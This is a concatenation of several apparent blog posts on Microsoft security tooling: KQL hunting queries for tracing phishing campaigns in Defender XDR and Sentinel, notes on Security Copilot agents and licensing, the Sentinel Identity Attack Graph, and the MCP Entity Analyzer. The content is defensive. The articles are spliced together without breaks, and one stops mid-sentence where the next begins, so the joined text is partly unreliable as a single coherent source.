Campaign-Centric Hunting with Microsoft Defender XDR and Microsoft Sentinel
Phishing investigations usually start with one suspicious email. A user reports a message. An alert is generated. An analyst opens the email details, checks the sender, reviews the URL, and tries to understand whether the message is malicious. That is a normal starting point. However, in a real SOC investigation, one email is rarely the full story. Attackers usually operate in campaigns. They reuse sender infrastructure, similar subjects, URLs, payloads, templates, and delivery techniques. A single email may be only one part of a wider phishing or malware campaign targeting multiple users. This is why campaign-centric hunting is important. I wrote this article from the perspective of a SOC analyst who often needs to move quickly from a single suspicious email to the full campaign impact. The goal is simple: use Microsoft Defender XDR and Microsoft Sentinel together to understand who was targeted, what was delivered, who clicked, and what should be prioritized first. Why Campaign-Centric Hunting When investigating a phishing or malware email, analysts usually need to answer practical questions: How many users received messages from the same campaign? Were the messages blocked, junked, delivered, or remediated? Did any user click the URL? Did anyone click through a Safe Links warning? Were any priority or high-risk users affected? Was the email removed after delivery? Are there related Defender XDR or Sentinel incidents? If we only investigate one message, we may miss the bigger picture. Campaign-centric hunting helps the SOC move from this question: Is this email malicious? To this question: What is the full impact of this campaign? That shift is important because the response priority should be based on campaign impact, not only on a single alert. What Campaign Views Provides Campaign Views in Microsoft Defender for Office 365 help analysts investigate coordinated email attacks such as phishing and malware campaigns. From Campaign Views, analysts can review campaign-level information such as: Campaign name Campaign type Campaign subtype Targeted users Inboxed messages Clicked users Visited links Sender domains Sender IPs Payload URLs Delivery actions Campaign timeline Campaign flow This is useful during triage because it quickly shows whether an email is part of a wider attack. For example, one reported phishing message may look small at first. But if Campaign Views shows that the same campaign targeted 50 users, delivered messages to 15 inboxes, and had 2 users click the URL, the investigation becomes much more urgent. Where CampaignInfo Fits The CampaignInfo table gives analysts a KQL-based way to query campaign-related data. Some useful fields are: Field Purpose CampaignId Unique identifier for the campaign CampaignName Name of the campaign CampaignType Campaign category, such as Phish or Malware CampaignSubtype Additional context, such as brand being phished or malware family NetworkMessageId Unique identifier for the email message RecipientEmailAddress Recipient affected by the campaign Timestamp Time when the event was recorded For correlation, the most important field is usually: NetworkMessageId This field can help connect campaign data with other Defender XDR email tables, including: EmailEvents UrlClickEvents EmailPostDeliveryEvents EmailAttachmentInfo EmailUrlInfo This makes CampaignInfo a useful pivot table for campaign-level hunting. Important note: CampaignInfo is currently documented as Preview. Before using these queries in production analytics rules, validate the table availability, schema, and results in your own tenant. Practical Scenario An analyst receives a phishing alert in Microsoft Defender XDR. The alert is related to a user who received a suspicious email with a credential-harvesting URL. The analyst opens Campaign Views and sees that the message belongs to a wider phishing campaign. At that point, the investigation should not stop with the original user. The analyst should now ask: Who else received this campaign? How many messages were delivered? Which users clicked? Did any users click through the Safe Links warning? Were the messages removed after delivery? Are there related incidents in Microsoft Sentinel? The investigation flow could look like this: Start from Campaign Views in Microsoft Defender XDR. Identify the campaign details. Use CampaignInfo to list affected users and messages. Join with EmailEvents to validate delivery status. Join with UrlClickEvents to identify user interaction. Join with EmailPostDeliveryEvents to confirm remediation. Review related Microsoft XDR incidents in Microsoft Sentinel. Prioritize response based on campaign impact. Query 1: List Recent Campaigns The first query gives a simple overview of recent campaigns. CampaignInfo | where Timestamp > ago(14d) | summarize FirstSeen = min(Timestamp), LastSeen = max(Timestamp), AffectedUsers = dcount(RecipientEmailAddress), Messages = dcount(NetworkMessageId) by CampaignId, CampaignName, CampaignType, CampaignSubtype | order by LastSeen desc This helps analysts quickly identify campaigns that affected the organization during the selected period. Useful questions to ask from this output: Which campaigns are most recent? Which campaigns affected the most users? Are the campaigns phishing, malware, or spam? Is there a specific brand or malware family in the subtype? Are similar campaigns appearing repeatedly? Query 2: Understand Delivery Impact After identifying campaigns, the next step is to understand delivery impact. A campaign that was fully blocked is different from a campaign that reached user inboxes. let Campaigns = CampaignInfo | where Timestamp > ago(14d) | project CampaignId, CampaignName, CampaignType, CampaignSubtype, NetworkMessageId, RecipientEmailAddress; Campaigns | join kind=leftouter ( EmailEvents | where Timestamp > ago(14d) | project NetworkMessageId, RecipientEmailAddress, Subject, SenderFromAddress, SenderFromDomain, SenderIPv4, DeliveryAction, DeliveryLocation, ThreatTypes, DetectionMethods, Timestamp ) on NetworkMessageId, RecipientEmailAddress | summarize Messages = dcount(NetworkMessageId), AffectedUsers = dcount(RecipientEmailAddress), Subjects = make_set(Subject, 5), SenderDomains = make_set(SenderFromDomain, 10), SenderIPs = make_set(SenderIPv4, 10) by CampaignId, CampaignName, CampaignType, CampaignSubtype, DeliveryAction, DeliveryLocation | order by AffectedUsers desc, Messages desc This query helps separate campaigns that were blocked from campaigns that actually reached users. From a SOC perspective, delivered messages deserve closer attention, especially if they reached the inbox. Query 3: Identify Users Who Clicked Campaign URLs Delivery is important, but clicks usually increase the priority of the incident. This query joins campaign data with UrlClickEvents. let Campaigns = CampaignInfo | where Timestamp > ago(14d) | project CampaignId, CampaignName, CampaignType, CampaignSubtype, NetworkMessageId, RecipientEmailAddress; Campaigns | join kind=inner ( UrlClickEvents | where Timestamp > ago(14d) | project NetworkMessageId, AccountUpn, Url, ActionType, IsClickedThrough, ThreatTypes, DetectionMethods, IPAddress, Workload, ClickTime = Timestamp ) on NetworkMessageId | summarize FirstClick = min(ClickTime), LastClick = max(ClickTime), ClickEvents = count(), ClickedUsers = dcount(AccountUpn), ClickThroughUsers = dcountif(AccountUpn, IsClickedThrough == true), ClickedUrls = make_set(Url, 10), SourceIPs = make_set(IPAddress, 10) by CampaignId, CampaignName, CampaignType, CampaignSubtype | order by ClickThroughUsers desc, ClickedUsers desc, LastClick desc This query helps identify campaigns where users interacted with the payload. If a user clicked a phishing URL, the next step should usually include identity-focused investigation, such as reviewing sign-in activity, MFA status, session activity, and possible risky sign-ins. Query 4: Focus on Click-Through Events Safe Links may block access to a malicious site. In some cases, however, a user may continue through a warning page. Those cases should be reviewed carefully. let Campaigns = CampaignInfo | where Timestamp > ago(30d) | project CampaignId, CampaignName, CampaignType, CampaignSubtype, NetworkMessageId, RecipientEmailAddress; Campaigns | join kind=inner ( UrlClickEvents | where Timestamp > ago(30d) | where IsClickedThrough == true | project NetworkMessageId, AccountUpn, Url, ActionType, ThreatTypes, IPAddress, ClickTime = Timestamp ) on NetworkMessageId | project ClickTime, CampaignId, CampaignName, CampaignType, CampaignSubtype, AccountUpn, RecipientEmailAddress, Url, ActionType, ThreatTypes, IPAddress | order by ClickTime desc This is one of the most useful views during incident response. A click-through event does not automatically mean compromise, but it is a strong reason to investigate the user account further. Query 5: Confirm Post-Delivery Remediation A malicious message may be delivered first and removed later by ZAP, AIR, or manual remediation. This query joins CampaignInfo with EmailPostDeliveryEvents. let Campaigns = CampaignInfo | where Timestamp > ago(30d) | project CampaignId, CampaignName, CampaignType, CampaignSubtype, NetworkMessageId, RecipientEmailAddress; Campaigns | join kind=leftouter ( EmailPostDeliveryEvents | where Timestamp > ago(30d) | project NetworkMessageId, RecipientEmailAddress, RemediationTime = Timestamp, Action, ActionType, ActionTrigger, ActionResult, DeliveryLocation, SourceLocation ) on NetworkMessageId, RecipientEmailAddress | summarize RemediatedMessages = dcountif(NetworkMessageId, isnotempty(ActionType)), RemediationTypes = make_set(ActionType, 10), RemediationResults = make_set(ActionResult, 10), LastRemediation = max(RemediationTime) by CampaignId, CampaignName, CampaignType, CampaignSubtype | order by LastRemediation desc This helps answer a very important question: Were the delivered malicious messages actually removed? This is useful for both SOC triage and reporting because it shows not only detection, but also response. Query 6: Campaign Blast Radius Summary The following query combines campaign, delivery, click, and remediation data into one campaign-level view. let TimeRange = 30d; let Campaigns = CampaignInfo | where Timestamp > ago(TimeRange) | project CampaignId, CampaignName, CampaignType, CampaignSubtype, NetworkMessageId, RecipientEmailAddress; let Delivery = EmailEvents | where Timestamp > ago(TimeRange) | summarize DeliveryActions = make_set(DeliveryAction, 10), DeliveryLocations = make_set(DeliveryLocation, 10), DeliveredMessages = dcountif(NetworkMessageId, DeliveryAction =~ "Delivered"), JunkedMessages = dcountif(NetworkMessageId, DeliveryAction =~ "Junked"), BlockedMessages = dcountif(NetworkMessageId, DeliveryAction =~ "Blocked"), Subjects = make_set(Subject, 5), SenderDomains = make_set(SenderFromDomain, 10) by NetworkMessageId, RecipientEmailAddress; let Clicks = UrlClickEvents | where Timestamp > ago(TimeRange) | summarize ClickEvents = count(), ClickThroughEvents = countif(IsClickedThrough == true), FirstClick = min(Timestamp), LastClick = max(Timestamp), ClickedUrls = make_set(Url, 10) by NetworkMessageId; let Remediation = EmailPostDeliveryEvents | where Timestamp > ago(TimeRange) | summarize RemediationActions = make_set(ActionType, 10), LastRemediation = max(Timestamp) by NetworkMessageId, RecipientEmailAddress; Campaigns | join kind=leftouter Delivery on NetworkMessageId, RecipientEmailAddress | join kind=leftouter Clicks on NetworkMessageId | join kind=leftouter Remediation on NetworkMessageId, RecipientEmailAddress | summarize AffectedUsers = dcount(RecipientEmailAddress), Messages = dcount(NetworkMessageId), DeliveredMessages = sum(DeliveredMessages), JunkedMessages = sum(JunkedMessages), BlockedMessages = sum(BlockedMessages), TotalClickEvents = sum(ClickEvents), ClickThroughEvents = sum(ClickThroughEvents), Subjects = make_set(Subjects, 10), SenderDomains = make_set(SenderDomains, 10), ClickedUrls = make_set(ClickedUrls, 10), RemediationActions = make_set(RemediationActions, 10), LastClick = max(LastClick), LastRemediation = max(LastRemediation) by CampaignId, CampaignName, CampaignType, CampaignSubtype | extend SuggestedPriority = case( ClickThroughEvents > 0, "High", TotalClickEvents > 0, "Medium", DeliveredMessages > 0, "Medium", "Low" ) | order by SuggestedPriority asc, AffectedUsers desc, Messages desc This type of query can be useful during hunting sessions, incident review, and campaign reporting. The goal is not only to collect more data. The goal is to help the analyst decide what needs attention first. Correlating Campaign Activity with Microsoft Sentinel When Microsoft Defender XDR is connected to Microsoft Sentinel, incidents and alerts can be synchronized into the Sentinel incident queue. This allows the SOC to correlate campaign-related email activity with other security signals, such as: Suspicious sign-ins Identity alerts Endpoint alerts Cloud app activity OAuth consent activity Data exfiltration attempts Related Microsoft XDR incidents For example, if a user clicked a phishing URL, the SOC can then review whether the same user had suspicious sign-in activity shortly after the click. The following query is a simple starting point for reviewing Microsoft XDR incidents in Microsoft Sentinel. SecurityIncident | where TimeGenerated > ago(30d) | where ProviderName == "Microsoft XDR" | where Title has_any ("phish", "phishing", "email", "malware", "campaign") | summarize Incidents = count(), HighSeverity = countif(Severity == "High"), MediumSeverity = countif(Severity == "Medium"), Closed = countif(Status == "Closed"), Active = countif(Status == "Active") by bin(TimeGenerated, 1d) | order by TimeGenerated desc This query does not replace campaign hunting. It simply helps analysts understand how email-related activity is represented in the Sentinel incident queue. Suggested SOC Workflow A practical campaign-centric workflow could look like this: Step 1: Start from Campaign Views Review campaigns with delivered messages, clicked users, visited links, or high user impact. Step 2: Pivot to KQL Use CampaignInfo to list campaign-related messages and affected recipients. Step 3: Validate Delivery Join with EmailEvents to confirm whether messages were blocked, junked, delivered, or replaced. Step 4: Review User Interaction Join with UrlClickEvents to identify users who clicked URLs or clicked through Safe Links warnings. Step 5: Confirm Remediation Join with EmailPostDeliveryEvents to confirm whether delivered messages were removed after delivery. Step 6: Correlate in Sentinel Review related Microsoft XDR incidents and correlate with identity, endpoint, and cloud activity. Step 7: Decide Response Depending on the impact, the SOC may decide to: Escalate the incident Notify affected users Review user sign-ins Revoke user sessions Reset passwords Block sender domains or URLs Submit false negatives Create a watchlist for related indicators Tune analytics rules or response processes Suggested Priority Logic Not every campaign needs the same level of response. A simple triage model could be: Condition Suggested priority Campaign blocked before delivery Low Campaign delivered to junk Low to Medium Campaign delivered to inbox Medium Campaign delivered to multiple inboxes Medium to High User clicked URL High User clicked through warning High Priority account clicked High Click followed by suspicious sign-in Critical This model should be adapted to each organization’s risk profile and response process. Limitations and Things to Validate Before using this approach in production, validate the following: Defender for Office 365 Plan 2 availability Campaign Views permissions CampaignInfo table availability Defender XDR connector configuration Advanced hunting event streaming Field names in your environment Retention period Data latency Join behavior using NetworkMessageId Whether click events can be joined to email metadata in all cases One important limitation is that some URL click events may not join cleanly with email metadata. For example, clicks from Drafts or Sent Items may not have the same message metadata available for correlation. Also, because CampaignInfo is currently documented as Preview, I would avoid depending on it alone for critical production automation without testing and validation.Operational Notes on Microsoft Security Copilot Agents in Defender XDR and Microsoft Entra ID
Microsoft Security Copilot is now becoming more visible inside day-to-day security operations, especially through embedded experiences and agent-based workflows across Microsoft Defender XDR, Microsoft Entra ID, Microsoft Intune, and Microsoft Purview. Instead of looking at Security Copilot only as a standalone prompt interface, SOC and identity teams should also understand how Security Copilot agents are deployed, how they consume Security Compute Units, how they appear in operational workflows, and where activity can be monitored. This post summarizes practical observations from a security operations perspective, with a focus on Microsoft Defender XDR, Microsoft Entra ID, usage monitoring, and KQL-based activity review. Licensing & Capacity Units Requirements Requires eligible Microsoft security licensing, typically: Microsoft 365 E5 Microsoft 365 E7 Security Compute Units (SCUs) Security Copilot capacity is measured using Security Compute Units (SCUs). SCUs are billed based on provisioned capacity. Indicative pricing: $4 per Provisionied SCU/hour $6 per Overage SCU/hour Billing is calculated hourly, based on the amount of SCUs provisioned. Included Capacity Organizations with: 1,000 Microsoft 365 E5 licenses Receive: 400 included SCUs Included SCUs are shared across the tenant within a common capacity pool. Scaling SCU capacity can be scaled dynamically based on operational requirements and workload demand. Data Retention Security Copilot session and interaction data without active SCU-backed retention is typically retained for: 90 days Security Copilot Agents - Microsoft Defender This section outlines the Microsoft Security Copilot agents currently available in the Microsoft Defender portal. NameKey characteristics Security Alert Triage Agent (Preview) Manual setup from Defender portal Automatically creates Unified RBAC custom role Runs automatically when a user reports a suspicious email or when a new supported alert is generated, supported alert sources: MDI, MDC, MDO If an alert tuning rule is enabled, it will be automatically disabled when the agent is deployed. Creates and connects with agentic user account: Phishing Triage Agent (Security Copilot) Automatic alert assignment to SecurityCopilotAgentUser-db16fec3-f1fb-4632-843e-46d07408c584@<tenant-domain>Alert was assigned to Phishing Triage Agent (Security Copilot). Adds Tag Agent to the created Incidents Threat Hunting Agent Manual setup from Defender portal Automatically creates Unified RBAC custom role This agent runs manually. There isn't an automatic trigger. Creates and connects with agentic user account: Threat Hunting Agent (Security Copilot) Analyst Questions in natural language Generates and executed KQL queries in Advanced hunting Provides charts, dynamic follow-up questions and remediation actions recommendations No activity is identified from agent's identity during agent execution Threat Intelligence Briefing Agent Manual setup from Defender portal Provides automated TI briefing summary Configured from https://security.microsoft.com/securitysettings/defender/agent_configuration-threatintelligencebriefingagent Security Analyst Agent Manual setup from Defender portal Dynamic Threat Detection Agent (Preview) Automatically enabled always-on, runs continuously in the background Correlates: Alerts, Security events, Behavioral anomalies, TI signals Generates Alerts with Detection Source: Security Copilot The Alerts can be correlated with existing Multi-Stage Incidents No agentic user account identity is used by this agent Available free of charge during public preview, will begin consuming Security Compute Units (SCUs) once generally available (GA) Incidents handled by Security Alert Triage Agent: Alerts created by Dynamic Threat Detection Agent: Execution of Threat Hunting Agent: View agents in use: https://security.microsoft.com/security-copilot/agents View Unified RBAC custom roles: https://security.microsoft.com/mtp_roles View Security Copilot user identities in Microsoft Entra ID: Notes: CloudAppEvents activity logs only from the following agents: Phishing Triage Agent Conditional Access Optimization Agent Security Copilot Agents - Microsoft Entra ID Conditional Access Optimization Agent Usage Monitoring Sign-in to Security Copilot portal using Global Admin account and navigate to the following location: https://securitycopilot.microsoft.com/usage-monitoring Reference: https://learn.microsoft.com/en-us/copilot/security/manage-usage Logging Activity Copilot Agents Management: CloudAppEvents | where ActionType contains "CopilotAgent" | extend AgentName = RawEventData.AgentName | extend Workload = RawEventData.Workload | extend ResultStatus = RawEventData.ResultStatus | project TimeGenerated, ActionType, ResultStatus, AgentName, Application, Workload All Copilot Workload data: CloudAppEvents | extend Workload = RawEventData.Workload | where Workload == "Copilot" | summarize EventCount = count() by ActionType, AccountDisplayNameIdentity Attack Graph in Microsoft Sentinel
Identity is now one of the most important attack surfaces in cloud security. In many real-world incidents, attackers do not rely only on malware or network movement. Instead, they abuse identities, permissions, role assignments, group memberships, service principals, and misconfigured access paths to move from an initial compromise to high-value resources. This is why the new Identity Attack Graph in Microsoft Sentinel is an important capability. It helps security teams visualize how identities are connected to Azure resources and how an attacker could potentially move from one identity to another resource through permissions and relationships. What is the Identity Attack Graph? The Identity Attack Graph in Microsoft Sentinel provides a visual way to understand how identities, permissions, groups, and Azure resources are connected. Instead of manually checking multiple portals, logs, and role assignments, the graph helps analysts understand relationships such as: Which identities have access to specific Azure resources Which users or service principals are over-privileged Which groups provide indirect access to sensitive resources Which identities may have a path to critical assets What the potential blast radius of a compromised identity could be How attackers could move laterally through identity and permission relationships This is especially useful because identity risk is often not obvious when looking at a single user, group, or role assignment in isolation. The real risk usually appears when these relationships are connected together. A user may not directly have access to a sensitive resource, but the user may be a member of a group that has access to another resource, which then has permissions that create a path toward a high-value asset. The Identity Attack Graph helps expose these hidden relationships. Why this matters In many Azure environments, permissions grow over time. Users change roles, groups are reused, emergency access is granted, service principals are created, and temporary permissions are not always removed. As a result, organizations often end up with: Too many privileged identities Unused or stale permissions Service principals with excessive access Guest users with unnecessary permissions Groups that provide indirect access to sensitive resources Subscription-level roles that are broader than required Lack of visibility into who can reach critical assets Traditional investigation usually requires analysts to move between several places, including Microsoft Entra ID, Azure RBAC, Azure Activity logs, Sentinel queries, Defender XDR, and Azure Resource Graph. The Identity Attack Graph reduces this complexity by presenting identity relationships as a connected graph. This makes it easier to answer practical security questions such as: “What can this identity access?” “What happens if this user is compromised?” “Which identities have a path to critical resources?” “Which access path should we remediate first?” “Which permissions create the highest risk?” “Why does this identity have access to this asset?” Key use cases The feature can support several important identity security and cloud security scenarios. 1. Attack path discovery Security teams can use the graph to identify how an attacker could move from a compromised identity to a sensitive Azure resource. This is useful during both proactive assessments and active incident response. For example, if a user account is suspected to be compromised, the graph can help identify which resources may be reachable through that identity’s direct or indirect permissions. 2. Blast-radius analysis When an identity is compromised, one of the first questions is: What could the attacker access with this identity? The Identity Attack Graph can help analysts understand the potential impact of a compromised user, group, service principal, or managed identity. This can help with containment, prioritization, and communication with stakeholders. 3. Over-privileged identity detection The graph can help identify identities that have more permissions than they need. Include: Users with Owner or Contributor access at subscription level Service principals with broad permissions Guest users with privileged access Groups that grant access to sensitive resources Identities that have access to multiple critical assets This is useful for enforcing least privilege and reducing identity attack surface. 4. Privileged access review IAM and cloud security teams can use the graph to support access reviews. Instead of only reviewing a list of role assignments, teams can understand the real impact of those permissions. This helps answer: Is this role assignment still required? Does this group create unnecessary risk? Does this identity have access to critical resources? Is this access direct or inherited? Is this path expected or suspicious? 5. Incident response and threat hunting For SOC teams, the graph can support investigations involving: Suspicious sign-ins Compromised users Privilege escalation Suspicious role assignments Lateral movement Service principal abuse Unusual access to sensitive resources The graph does not replace logs or hunting queries, but it gives analysts a faster way to understand relationships and prioritize what to investigate next. Important prerequisites and setup notes During my evaluation, there were a few important setup requirements that should be clearly highlighted. Microsoft Sentinel permissions The environment must already be onboarded to Microsoft Sentinel, and the user testing or configuring the feature must have the appropriate Microsoft Sentinel permissions. The documented role requirement includes Microsoft Sentinel Contributor. However, in my experience, this is not always enough for the full onboarding and validation experience. Subscription-level Owner permission One important prerequisite that should be clearly mentioned is that Owner permissions at the Azure subscription level may be required. This is especially important during onboarding and activation, because the graph depends on access to Azure resource and permission relationships. If the user does not have sufficient subscription-level permissions, some setup steps or visibility into resources and relationships may not work as expected. Recommended permission note: In addition to Microsoft Sentinel permissions, ensure that the user configuring the preview has Owner permissions at the subscription level for the subscriptions that should be represented in the graph. This should be made very clear in the onboarding documentation to avoid confusion during deployment. Required data connector: Azure Resource Graph Another very important setup step is the Azure Resource Graph data connector. The Azure Resource Graph connector must be: Installed manually Activated manually Connected to the relevant Sentinel workspace This is a key point. The connector is not automatically enabled just because the Identity Attack Graph feature is available. Without this connector, Sentinel may not have the required Azure resource relationship data needed to build a useful graph. Why Azure Resource Graph is important Azure Resource Graph provides visibility across Azure resources, subscriptions, and relationships. For an identity attack graph, this data is essential. The graph needs to understand not only identities, but also the resources those identities can reach. This may include: Subscriptions Resource groups Storage accounts Key Vaults Virtual machines Managed identities Role assignments Resource relationships Resource hierarchy Critical assets Without Azure Resource Graph data, the attack graph may not provide the full picture of how identities connect to Azure resources. For this reason, I believe the onboarding instructions should explicitly state: The Azure Resource Graph data connector must be manually installed and activated before using the Identity Attack Graph. Recommended onboarding checklist Before using the Identity Attack Graph, I would recommend validating the following: Requirement Recommendation Microsoft Sentinel workspace Ensure the workspace is active and accessible Sentinel role Microsoft Sentinel Contributor or equivalent access Subscription permissions Owner permissions at subscription level Azure Resource Graph connector Manually install and activate the connector Azure RBAC visibility Ensure access to relevant role assignments Microsoft Entra ID visibility Ensure identity and group data is available Resource visibility Validate that relevant subscriptions and resources are visible Data freshness Allow enough time for data collection and graph population This checklist can help avoid issues where the feature appears available but does not show the expected relationships. How the Identity Attack Graph improves investigation Before using a graph-based approach, an analyst often needs to manually collect and correlate data from multiple sources. A typical investigation may include: Checking the user in Microsoft Entra ID Reviewing group memberships Reviewing Azure RBAC assignments Checking subscription-level access Looking at resource-level permissions Reviewing PIM activations Searching Sentinel logs Running KQL queries Checking Azure Activity logs Validating access with cloud or IAM teams This process can be time-consuming. The Identity Attack Graph helps reduce this effort by showing relationships visually. This allows the analyst to understand the possible path faster and decide where to focus. For example, instead of manually asking: “Does this user have access to this resource through any group, role, or inherited permission?” The graph can help show the relationship directly. This is valuable because many risky permissions are indirect. The user may not have direct access, but may inherit access through a group, role assignment, nested relationship, or service principal path. Where validation is still needed Although the graph provides strong visibility, I would still validate findings before taking remediation action. This is especially important because removing access can affect business operations or production systems. I would still validate with: Microsoft Sentinel KQL queries Microsoft Entra sign-in logs Microsoft Entra audit logs Azure Activity logs Azure RBAC role assignments PIM activation history Defender XDR signals Defender for Cloud recommendations Azure Resource Graph queries IAM team input Cloud platform team input Application owner confirmation The graph is very useful for discovery and prioritization, but final remediation decisions should still be validated. GQL and graph-based investigation One of the interesting aspects of this feature is the use of graph-based thinking. Security teams are already familiar with query languages such as KQL for log analytics. However, graph investigation is different. KQL is excellent for searching and analyzing events over time, such as sign-ins, alerts, audit logs, and activity logs. Graph Query Language, or GQL, is designed for querying connected data. Instead of only asking what happened at a specific time, graph queries help answer how entities are connected. In identity security, this is very powerful because the risk often exists in the relationship between objects. Graph entities include: Users Groups Service principals Managed identities Roles Subscriptions Resource groups Azure resources Permissions Sessions Attack paths Graph relationships include: User is member of group Group has role assignment Identity has access to resource Service principal owns application Managed identity can access Key Vault User can escalate privilege Identity can reach critical asset This allows analysts to ask more relationship-focused questions, such as: Which identities can reach this resource? What is the shortest path from this user to a critical asset? Which groups create privileged access? Which service principals have paths to sensitive resources? Which identities have indirect access through nested relationships? Which attack paths include subscription Owner or Contributor permissions? KQL vs GQL: why both are useful KQL and GQL serve different but complementary purposes. Area KQL GQL / Graph Querying Main purpose Analyze logs and events Analyze relationships and paths Best for Time-based investigation Connected identity/resource investigation question “Did this user sign in from a risky location?” “What resources can this user reach?” Data model Tables Nodes and edges Common use Detection, hunting, analytics Attack path discovery, relationship mapping Strength Event correlation Path discovery In practice, security teams need both. KQL can identify a suspicious sign-in. The Identity Attack Graph can show what the compromised identity could access. KQL can then be used again to validate whether the attacker interacted with those resources. This creates a strong workflow between event-based detection and relationship-based investigation. Graph investigation scenarios The following are conceptual are the types of graph questions that would be useful in identity attack path analysis. Find paths from a user to critical resources A useful graph query would help answer: Show me all paths from this user to critical Azure resources. This could help determine whether a compromised identity has a direct or indirect route to sensitive assets. Find identities with paths to Key Vaults Key Vaults often contain secrets, certificates, and keys. A graph query could help identify: Which users, groups, service principals, or managed identities have a path to Key Vault resources? This would be useful for prioritizing access review and remediation. Find subscription-level privileged identities Subscription-level roles are high-impact because they can provide broad access. A graph query could help find: Which identities have Owner or Contributor access at subscription level? This is especially important because subscription-level permissions can create wide attack paths. Find indirect access through groups Many access paths are created through group membership. A graph query could help answer: Which users have access to this resource through group membership? This can help IAM teams clean up excessive or unnecessary group-based access. Find service principals with broad access Service principals are often used for automation and applications, but they can become high-risk if over-privileged. A useful query would identify: Which service principals have broad access to subscriptions or critical resources? This is important because service principal compromise can lead to significant impact. How GQL can improve analyst workflows Adding strong GQL support to the graph explorer would make the feature more powerful for advanced users. You could use graph queries to: Search for specific paths Filter by identity type Filter by role Filter by resource type Find shortest paths Find high-risk paths Exclude known approved paths Focus on critical assets Query only privileged relationships Identify unexpected permission chains This would help both SOC analysts and cloud security engineers move from visual exploration to repeatable analysis. A SOC analyst may want a quick visual graph during an incident, while a cloud security engineerMicrosoft Sentinel MCP Entity Analyzer: Explainable risk analysis for URLs and identities
What makes this release important is not just that it adds another AI feature to Sentinel. It changes the implementation model for enrichment and triage. Instead of building and maintaining a chain of custom playbooks, KQL lookups, threat intel checks, and entity correlation logic, SOC teams can call a single analyzer that returns a reasoned verdict and supporting evidence. Microsoft positions the analyzer as available through Sentinel MCP server connections for agent platforms and through Logic Apps for SOAR workflows, which makes it useful both for interactive investigations and for automated response pipelines. Why this matters First, it formalizes Entity Analyzer as a production feature rather than a preview experiment. Second, it introduces a real cost model, which means organizations now need to govern usage instead of treating it as a free enrichment helper. Third, Microsoft’s documentation is now detailed enough to support repeatable implementation patterns, including prerequisites, limits, required tables, Logic Apps deployment, and cost behavior. From a SOC engineering perspective, Entity Analyzer is interesting because it focuses on explainability. Microsoft describes the feature as generating clear, explainable verdicts for URLs and user identities by analyzing multiple modalities, including threat intelligence, prevalence, and organizational context. That is a much stronger operational model than simple point-enrichment because it aims to return an assessment that analysts can act on, not just more raw evidence What Entity Analyzer actually does The Entity Analyzer tools are described as AI-powered tools that analyze data in the Microsoft Sentinel data lake and provide a verdict plus detailed insights on URLs, domains, and user entities. Microsoft explicitly says these tools help eliminate the need for manual data collection and complex integrations usually required for investigation and enrichment hat positioning is important. In practice, many SOC teams have built enrichment playbooks that fetch sign-in history, query TI feeds, inspect click data, read watchlists, and collect relevant alerts. Those workflows work, but they create maintenance overhead and produce inconsistent analyst experiences. Entity Analyzer centralizes that reasoning layer. For user entities, Microsoft’s preview architecture explains that the analyzer retrieves sign-in logs, security alerts, behavior analytics, cloud app events, identity information, and Microsoft Threat Intelligence, then correlates those signals and applies AI-based reasoning to produce a verdict. Microsoft lists verdict examples such as Compromised, Suspicious activity found, and No evidence of compromise, and also warns that AI-generated content may be incorrect and should be checked for accuracy. That warning matters. The right way to think about Entity Analyzer is not “automatic truth,” but “high-value, explainable triage acceleration.” It should reduce analyst effort and improve consistency, while still fitting into human review and response policy. Under the hood: the implementation model Technically, Entity Analyzer is delivered through the Microsoft Sentinel MCP data exploration tool collection. Microsoft documents that entity analysis is asynchronous: you start analysis, receive an identifier, and then poll for results. The docs note that analysis may take a few minutes and that the retrieval step may need to be run more than once if the internal timeout is not enough for long operations. That design has two immediate implications for implementers. First, this is not a lightweight synchronous enrichment call you should drop carelessly into every automation branch. Second, any production workflow should include retry logic, timeouts, and concurrency controls. If you ignore that, you will create fragile playbooks and unnecessary SCU burn. The supported access path for the data exploration collection requires Microsoft Sentinel data lake and one of the supported MCP-capable platforms. Microsoft also states that access to the tools is supported for identities with at least Security Administrator, Security Operator, or Security Reader. The data exploration collection is hosted at the Sentinel MCP endpoint, and the same documentation notes additional Entity Analyzer roles related to Security Copilot usage. The prerequisite many teams will miss The most important prerequisite is easy to overlook: Microsoft Sentinel data lake is required. This is more than a licensing footnote. It directly affects data quality, analyzer usefulness, and rollout success. If your organization has not onboarded the right tables into the data lake, Entity Analyzer will either fail or return reduced-confidence output. For user analysis, the following tables are required to ensure accuracy: AlertEvidence, SigninLogs, CloudAppEvents, and IdentityInfo. also notes that IdentityInfo depends on Defender for Identity, Defender for Cloud Apps, or Defender for Endpoint P2 licensing. The analyzer works best with AADNonInteractiveUserSignInLogs and BehaviorAnalytics as well. For URL analysis, the analyzer works best with EmailUrlInfo, UrlClickEvents, ThreatIntelIndicators, Watchlist, and DeviceNetworkEvents. If those tables are missing, the analyzer returns a disclaimer identifying the missing sources A practical architecture view An incident, hunting workflow, or analyst identifies a high-interest URL or user. A Sentinel MCP client or Logic App calls Entity Analyzer. Entity Analyzer queries relevant Sentinel data lake sources and correlates the findings. AI reasoning produces a verdict, evidence narrative, and recommendations. The result is returned to the analyst, incident record, or automation workflow for next-step action. This model is especially valuable because it collapses a multi-query, multi-tool investigation pattern into a single explainable decisioning step. Where it fits in real Sentinel operations Entity Analyzer is not a replacement for analytics rules, UEBA, or threat intelligence. It is a force multiplier for them. For identity triage, it fits naturally after incidents triggered by sign-in anomaly detections, UEBA signals, or Defender alerts because it already consumes sign-in logs, cloud app events, and behavior analytics as core evidence sources. For URL triage, it complements phishing and click-investigation workflows because it uses TI, URL activity, watchlists, and device/network context. Implementation path 1: MCP clients and security agents Microsoft states that Entity Analyzer integrates with agents through Sentinel MCP server connections to first-party and third-party AI runtime platforms. In practice, this makes it attractive for analyst copilots, engineering-side investigation agents, and guided triage experiences The benefit of this model is speed. A security engineer or analyst can invoke the analyzer directly from an MCP-capable client without building a custom orchestration layer. The tradeoff is governance: once you make the tool widely accessible, you need a clear policy for who can run it, when it should be used, and how results are validated before action is taken. Implementation path 2: Logic Apps and SOAR playbooks For SOC teams, Logic Apps is likely the most immediately useful deployment model. Microsoft documents an entity analyzer action inside the Microsoft Sentinel MCP tools connector and provides the required parameters for adding it to an existing logic app. These include: Workspace ID Look Back Days Properties payload for either URL or User The documented payloads are straightforward: { "entityType": "Url", "url": "[URL]" } And { "entityType": "User", "userId": "[Microsoft Entra object ID or User Principal Name]" } Also states that the connector supports Microsoft Entra ID, service principals, and managed identities, and that the Logic App identity requires Security Reader to operate. This makes playbook integration a strong pattern for incident enrichment. A high-severity incident can trigger a 